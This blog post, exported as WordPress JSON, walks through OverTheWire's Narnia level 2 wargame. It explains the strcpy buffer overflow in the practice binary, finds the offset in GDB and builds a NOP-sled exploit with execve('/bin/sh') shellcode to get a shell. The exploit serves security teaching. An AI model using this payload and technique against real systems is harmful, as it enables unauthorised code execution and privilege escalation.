{"id":7387,"date":"2019-04-24T00:53:55","date_gmt":"2019-04-24T00:53:55","guid":{"rendered":"https:\/\/hackmethod.com\/?p=7387"},"modified":"2022-06-03T05:37:03","modified_gmt":"2022-06-03T05:37:03","slug":"overthewire-narnia-2","status":"publish","type":"post","link":"https:\/\/hackmethod.com\/overthewire-narnia-2\/","title":{"rendered":"OverTheWire \u2013 Narnia 2"},"content":{"rendered":"\n<h1 id=\"introduction\">Introduction<\/h1>\n\n<p>In the previous write up the environment variable was set to the exploit payload granting an escalated shell. This challenge is different however, it will be building upon the theme of binary analysis. <\/p>\n\n<h2 id=\"gettingstarted\">Getting Started<\/h2>\n\n<p>Once logged into the Narnia server as the <code>narnia2<\/code> user the <code>.\/narnia2<\/code> binary and source code, <code>narnia2.c<\/code> are accessible. They can be located at the <code>\/narnia\/<\/code> directory.\nFirst, we will take a peek at the source code. Personally, I like to use the <code>less<\/code> command but, the <code>cat<\/code> command will work just fine. <\/p>\n\n<h2 id=\"sourcecodeanalysis\">Source Code Analysis<\/h2>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia1.png?w=1080&#038;ssl=1\" alt=\"\"><\/p>\n\n<p><em>Fig. 1: Output for narnia2.c<\/em><\/p>\n\n<p>Analyzing the source code for <code>narnia2.c<\/code> we see the header files declared.<\/p>\n\n<pre><code class=\"c language-c\">#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n<\/code><\/pre>\n\n<p>The <code>#include &lt;stdio.h&gt;<\/code> lets us know that the standard input and output header file is included in this source code. Check out the documentation for this header file <a href=\"https:\/\/www.gnu.org\/software\/m68hc11\/examples\/stdio_8h-source.html\">here<\/a>.  <\/p>\n\n<p>The <code>#include &lt;string.h&gt;<\/code> lets us know that the string header file is included in this source code. This library contains several functions for dealing with strings. Check out the documentation for this header file <a href=\"https:\/\/www.cs.bu.edu\/teaching\/cpp\/string\/cstring\/\">here<\/a>. <\/p>\n\n<p>The <code>#include &lt;stdlib.h&gt;<\/code> lets us know that the standard general utilities library is included in this source code. This library contains several general purpose functions. For more information check out the documentation for this header file <a href=\"http:\/\/pubs.opengroup.org\/onlinepubs\/009695399\/basedefs\/stdlib.h.html\">here<\/a>.<\/p>\n\n<p>These declarations are used to tell the compiler which libraries to process first. These are pre-processor statements and ensure the availability of the declarations within these libraries. This is useful for us because it is a precurser into letting us know what this program does. \nThe next line declares the <code>main<\/code> function and passes two arguments, <code>argc<\/code> and <code>argv<\/code>.<\/p>\n\n<pre><code>int main(int argc, char * argv[]){\n<\/code><\/pre>\n\n<p>The variables named <code>argc<\/code> (<em>argument count<\/em>) and <code>argv<\/code> (<em>argument vector<\/em>). The first argument is the number of parameters passed plus one to include the name of the program that was executed to get those process running. Thus, <code>argc<\/code> is always greater than zero and <code>argv[]<\/code> is the name of the executable (including the path) that was run to begin this process.<\/p>\n\n<p>Next we have an array declared named <code>buf<\/code> with a size of <code>128<\/code>. This is important to us because we now know the limitations of this variable. <\/p>\n\n<pre><code>    char buf[128];\n<\/code><\/pre>\n\n<p>Moving forward we have an <code>if statement<\/code> which tells us if <code>argc == 1<\/code> then the statement <code>Usage: %s argument\\n\", argv[0]<\/code> is printed. From what we learned earlier in the <code>main<\/code> function declaration. The <code>argv<\/code> variable is the actual executable and <code>argc<\/code> is the arugments passed to it. This <code>if-statement<\/code> tells us that we must pass some argument to the executable in order for it to run. <\/p>\n\n<pre><code>if(argc == 1){\n        printf(\"Usage: %s argument\\n\", argv[0]);\n        exit(1);\n    }\n<\/code><\/pre>\n\n<p>Next we get to the actual functionality of the <code>main<\/code> function. First, the <code>strcpy<\/code> function takes the arguments passed via <code>argv<\/code> and copies it to the variable <code>buf<\/code>. The variable <code>buf<\/code> only has room for <code>128<\/code> bytes. As indictated by the <code>char buf[128];<\/code> declaration. Then the value&#8217;s passed are printed out. <\/p>\n\n<pre><code>    strcpy(buf,argv[1]);\n    printf(\"%s\", buf);\n\n    return 0;\n}\n<\/code><\/pre>\n\n<h2 id=\"binaryanalysis\">Binary Analysis<\/h2>\n\n<p>Now that we know a little more about how the program is supposed to run lets see what it looks like when run under the right circumstances. One command I like to run is <code>ltrace<\/code> which will run the binary until it exits. Recording and intercepting the dynamic library calls that are called by the executable. This is not necessary however, it will show us some information regarding the memory addresses that are called. Running the executable a few times with <code>ltrace<\/code> will show us if the memory addresses change. Indicating the binary was compiled with ASLR (Address Space Layout Randomization). Running the executable with and without a command line argument. <\/p>\n\n<pre><code>ltrace .\/narnia2\nltrace .\/narnia2 $(python -c 'print \"A\"*128')\n<\/code><\/pre>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia2.png?w=1080&#038;ssl=1\" alt=\"\">\n<em>Fig. 2: Memory address doesn&#8217;t change for the main() function.<\/em><\/p>\n\n<p>Now we know the memory address doesn&#8217;t change. We supplied exactly 128 A&#8217;s so let&#8217;s step it up and add some more characters and observe. Let&#8217;s add 140 A&#8217;s and see what happens.<\/p>\n\n<pre><code>ltrace .\/narnia2  $(python -c 'print \"A\"*140')\n<\/code><\/pre>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia4.png?w=1080&#038;ssl=1\" alt=\"\">\n<em>Fig. 3: Segmentation Fault when supplying more than 128 characters<\/em><\/p>\n\n<p>Great! We got a <code>Segmentation Fault<\/code> and now we need to determine the exact offset to craft our payload. We will use <code>GDB<\/code> to debug the binary while supplying the charcters.\nTo run the binary through <code>GDB<\/code> run the below:<\/p>\n\n<pre><code>gdb -q .\/narnia2\n<\/code><\/pre>\n\n<p>This part is not necessary but I like to set the disassembly flavor to intel.<\/p>\n\n<pre><code>set disassembly-flavor intel\n<\/code><\/pre>\n\n<p>Then we will <code>disassemble main<\/code> and set a breakpoint at the end of the <code>main()<\/code> function. Your memory address may be different but you&#8217;ll want to set a breakpoint at the <code>leave<\/code> operand.<\/p>\n<img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia5.png?w=1080&#038;ssl=1\" alt=\"\">\n\n<p><em>Fig. 4: Disassembly of the main() and breakpoint set<\/em><\/p>\n\n<p>With our breakpoint set we can now run our payload to determine the offset. Knowing the offset is important to know the size of our exploit and knowing where to set the return address. To do this we will supply 140 &#8220;A&#8221;s plus 4 &#8220;B&#8221;s and see if our &#8220;B&#8221;s overwrite the Instruction Pointer(EIP) register. \n<img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia6.png?w=1080&#038;ssl=1\" alt=\"\"> <\/p>\n\n<p><em>Fig. 5: The A&#8217;s continue to overwrite the EIP register<\/em><\/p>\n\n<p>Ok, so our EIP register was not overwritten by our B&#8217;s so it looks like we need to reduce our A&#8217;s. We will reduce our A&#8217;s by 4 and try again. So we will send 136 A&#8217;s and 4 B&#8217;s and if that doesn&#8217;t work we will continue to reduce our A&#8217;s until we see our EIP register overwritten by our B&#8217;s.<\/p>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia7.png?w=1080&#038;ssl=1\" alt=\"\"><\/p>\n\n<p><em>Fig. 6: The EIP register is overwritten with a payload of 132 A&#8217;s.<\/em><\/p>\n\n<h2 id=\"exploitdevelopment\">Exploit Development<\/h2>\n\n<p>We have our offset and know the size we are working with. Let&#8217;s start crafting our exploit! Consulting <a href=\"http:\/\/shell-storm.org\">http:\/\/shell-storm.org<\/a> we will be using this <a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-811.php\">Linux x86 execve(&#8220;\/bin\/sh&#8221;)<\/a> shellcode. <\/p>\n\n<pre><code>char shellcode[] = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\"\n                   \"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\"\n                   \"\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\"\n                   \"\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80\";\n<\/code><\/pre>\n\n<p>This shellcode will execute <code>\/bin\/sh<\/code> for us and is 25 bytes in size. Taking our payload of 136 A&#8217;s and replace them with a NOP sled (<code>\\x90<\/code>), minus 25 bytes for our shellcode and 4 bytes for our EIP. The <code>NOP<\/code> sled is used to direct the CPU&#8217;s instruction execution flow to a desired destination. In this case, our shellcode.<\/p>\n\n<pre><code>$(python -c 'print \"\\x90\"*107 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\" + \"B\"*4')\n<\/code><\/pre>\n\n<p>Let&#8217;s throw our payload at the binary and see what happens. \n<img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia8.png?w=1080&#038;ssl=1\" alt=\"\">\n<em>Fig. 7: The binary with our payload and EIP register overwritten with B&#8217;s<\/em>\nNow, we need replace our B&#8217;s with the memory address somewhere in the middle of our <code>NOP<\/code> sled. To do this we will examine the Stack Pointer (ESP) and find a memory address that is filled with <code>\\x90<\/code>. To examine the stack.<\/p>\n\n<pre><code>x\/300wx $esp\n<\/code><\/pre>\n\n<p><\/p>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia9.png?w=1080&#038;ssl=1\" alt=\"\"><\/p>\n\n<p><em>Fig. 8: The stack with our NOP sled, payload and the EIP buffer<\/em><\/p>\n\n<p>Picking a memory address somewhere in the middle, like <code>0xffffd850<\/code> should work. Essentially what will happen is the <code>EIP<\/code> register will be overwritten with our <code>NOP<\/code> sled and slide into our shellcode, perpetually. Our new payload looks like this now.<\/p>\n\n<pre><code>$(python -c 'print \"\\x90\"*107 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\" + \"\\x50\\xd8\\xff\\xff\"')\n<\/code><\/pre>\n\n<p><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia10.png?w=1080&#038;ssl=1\" alt=\"\">\n<em>Fig. 9: The debugger executes a new process when EIP is overwritten with the NOP sled<\/em>\nGreat! We can see in the debugger that our payload executes a new program <code>\/bin\/dash<\/code>. This lets us know that our payload is ready. Now it&#8217;s time to test it against the binary.\n<img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2019\/04\/Narnia11.png?w=1080&#038;ssl=1\" alt=\"\">\n<em>Fig. 10: Successful exploitation of the narnia2 binary<\/em><\/p>\n\n\n\n<p> If you missed out on Narnia Level 1 click the button on the left to  check it out.  If you&#8217;re all caught up and want to see more, check out  the Narnia Level 3 by clicking the button on the right.<\/p>\n\n\n\n<p> <\/p>\n\n\n\n<div class=\"wp-block-columns has-2-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link\" href=\"https:\/\/hackmethod.com\/overthewire-narnia-1\/\">Narnia Level 1<\/a><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link\" href=\"https:\/\/hackmethod.com\/overthewire-narnia-3\/\">Narnia Level 3<\/a><\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Introduction In the previous write up the environment variable was set to the exploit payload granting an escalated shell. This challenge is different however, it will be building upon the theme of binary analysis. Getting Started Once logged into the Narnia server as the narnia2 user the .\/narnia2 binary and source code, narnia2.c are accessible. [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":1842,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[52,49],"tags":[165,163,162,45,50,164],"class_list":["post-7387","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","category-tutorials","tag-buffer-overflow","tag-level-3","tag-narnia","tag-overthewire","tag-tutorial","tag-walkthrough"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hackmethod.com\/wp-content\/uploads\/2016\/01\/NarniaImage.jpeg?fit=600%2C400&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p5zY4D-1V9","_links":{"self":[{"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/posts\/7387","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/comments?post=7387"}],"version-history":[{"count":17,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/posts\/7387\/revisions"}],"predecessor-version":[{"id":21611,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/posts\/7387\/revisions\/21611"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/media\/1842"}],"wp:attachment":[{"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/media?parent=7387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/categories?post=7387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackmethod.com\/wp-json\/wp\/v2\/tags?post=7387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}